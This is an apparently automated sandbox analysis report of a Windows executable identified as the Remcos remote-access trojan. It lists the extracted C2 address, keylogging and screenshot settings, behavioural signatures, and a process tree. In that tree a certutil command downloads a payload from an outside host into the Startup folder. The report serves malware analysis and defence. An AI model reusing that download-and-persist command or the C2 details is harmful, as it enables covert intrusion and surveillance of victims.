Overview

overview

10

Static

static

5

e694ad9d77...54.exe

windows7_x64

10

e694ad9d77...54.exe

windows10_x64

10

Analysis

  • max time kernel
    152s
  • max time network
    155s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    30/08/2021, 06:23

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General

  • Target
    e694ad9d77c0dc4e6db351e6bf61295ab3f89dda61411cc61d505fc16efe9954.exe
  • Size 1.1MB
  • Sample210830-jrer73lhtx
  • SHA256 e694ad9d77c0dc4e6db351e6bf61295ab3f89dda61411cc61d505fc16efe9954
  • MD5 SHA1 SHA512
Score
10/10
remcosremote%hostrat

Malware Config

Extracted

Family

  • remcos

Version

  • 2.4.5 Pro

Botnet

  • Remote%Host

C2

  • www.rmagent.biz:7181

Attributes
  • audio_folder

    MicRecords

  • audio_path

    %AppData%

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    vbs.server.exe

  • copy_folder

    vbs.server

  • delete_file

    true

  • hide_file

    true

  • hide_keylog_file

    false

  • install_flag

    false

  • install_path

    %AppData%

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • keylog_path

    %AppData%

  • mouse_option

    false

  • mutex

    Remcos-00GA1C

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    vbs.server

  • take_screenshot_option

    false

  • take_screenshot_time

    5

  • take_screenshot_title

    wikipedia;solitaire;

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • Drops startup file 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e694ad9d77c0dc4e6db351e6bf61295ab3f89dda61411cc61d505fc16efe9954.exe
    "C:\Users\Admin\AppData\Local\Temp\e694ad9d77c0dc4e6db351e6bf61295ab3f89dda61411cc61d505fc16efe9954.exe"
    1⤵
    • Drops startup file
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:644
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\startup.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3132
      • C:\Windows\SysWOW64\certutil.exe
        certutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"
        3⤵
        • Drops startup file
        PID:416
    • C:\Users\Admin\AppData\Local\Temp\e694ad9d77c0dc4e6db351e6bf61295ab3f89dda61411cc61d505fc16efe9954.exe
      "C:\Users\Admin\AppData\Local\Temp\e694ad9d77c0dc4e6db351e6bf61295ab3f89dda61411cc61d505fc16efe9954.exe"
      2⤵
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of SetWindowsHookEx
      PID:4044

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/644-125-0x00000000040E0000-0x00000000040E1000-memory.dmp
        Download

        memory/4044-117-0x0000000000400000-0x0000000000420000-memory.dmp
        Download

        memory/4044-124-0x0000000000400000-0x0000000000420000-memory.dmp
        Download